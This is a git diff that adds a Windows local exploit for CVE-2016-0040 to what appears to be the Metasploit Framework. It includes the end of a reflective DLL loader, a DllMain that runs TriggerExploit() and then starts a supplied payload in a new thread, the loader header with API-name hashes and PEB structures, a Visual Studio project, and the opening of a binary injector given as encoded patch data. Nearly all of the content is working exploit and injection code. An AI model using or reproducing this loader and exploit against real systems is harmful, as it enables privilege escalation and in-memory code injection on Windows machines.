((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + // sanity chack we are processing a MOV instruction... + if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)( dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + } + } +#endif + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +#include + +#include + +DWORD WINAPI ExecutePayload(LPVOID lpPayload) +{ + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + + return ERROR_SUCCESS; +} + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + if (TriggerExploit() == TRUE) { + printf("[+] Exploitation Completed\n"); + if (lpReserved != NULL) { + printf("[+] Launching Payload\n"); + CreateThread(0, 0, &ExecutePayload, lpReserved, 0, NULL); + } + } + else { + printf("[-] Exploitation Failed\n"); + } + + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/data/exploits/CVE-2016-0040/Metasploit/Metasploit.h b/data/exploits/CVE-2016-0040/Metasploit/Metasploit.h new file mode 100644 index 0000000000..c6c7c23179 --- /dev/null +++ b/data/exploits/CVE-2016-0040/Metasploit/Metasploit.h @@ -0,0 +1,214 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(VOID); +typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); + +#define DLLEXPORT __declspec( dllexport ) + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror( DWORD d ) +{ + return _rotr( d, HASH_KEY ); +} + +__forceinline DWORD hash( char * c ) +{ + register DWORD h = 0; + do + { + h = ror( h ); + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/data/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj b/data/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj new file mode 100644 index 0000000000..c205e46ce9 --- /dev/null +++ b/data/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj @@ -0,0 +1,103 @@ + + + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF} + Metasploit + 10.0.15063.0 + + + + DynamicLibrary + true + v141 + MultiByte + + + DynamicLibrary + false + v141 + true + MultiByte + + + + + + + + + + + + + + + + + Level3 + MaxSpeed + true + true + true + WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions) + $(SolutionDir);%(AdditionalIncludeDirectories) + MultiThreaded + + + true + true + $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) + + + xcopy /y $(SolutionDir)$(ProjectName)\inject.exe $(SolutionDir)$(Platform)\$(Configuration)\ +xcopy /y $(SolutionDir)$(ProjectName)\module.rb $(SolutionDir)$(Platform)\$(Configuration)\ +xcopy /y $(SolutionDir)$(ProjectName)\install.sh $(SolutionDir)$(Platform)\$(Configuration)\ +xcopy /y $(SolutionDir)$(ProjectName)\uninstall.sh $(SolutionDir)$(Platform)\$(Configuration)\ + + + Copy Executable And Module + + + + + Level3 + Disabled + true + WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions) + $(SolutionDir);%(AdditionalIncludeDirectories) + MultiThreadedDebug + + + $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) + + + xcopy /y $(SolutionDir)$(ProjectName)\inject.exe $(SolutionDir)$(Platform)\$(Configuration)\ +xcopy /y $(SolutionDir)$(ProjectName)\module.rb $(SolutionDir)$(Platform)\$(Configuration)\ +xcopy /y $(SolutionDir)$(ProjectName)\install.sh $(SolutionDir)$(Platform)\$(Configuration)\ +xcopy /y $(SolutionDir)$(ProjectName)\uninstall.sh $(SolutionDir)$(Platform)\$(Configuration)\ + + + Copy Executable And Module + + + + + + + + + + + + \ No newline at end of file diff --git a/data/exploits/CVE-2016-0040/Metasploit/inject.exe b/data/exploits/CVE-2016-0040/Metasploit/inject.exe new file mode 100644 index 0000000000000000000000000000000000000000..2ad745e035f50e4bbb7125622f5b9a4721dcf2fe GIT binary patch literal 75264 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 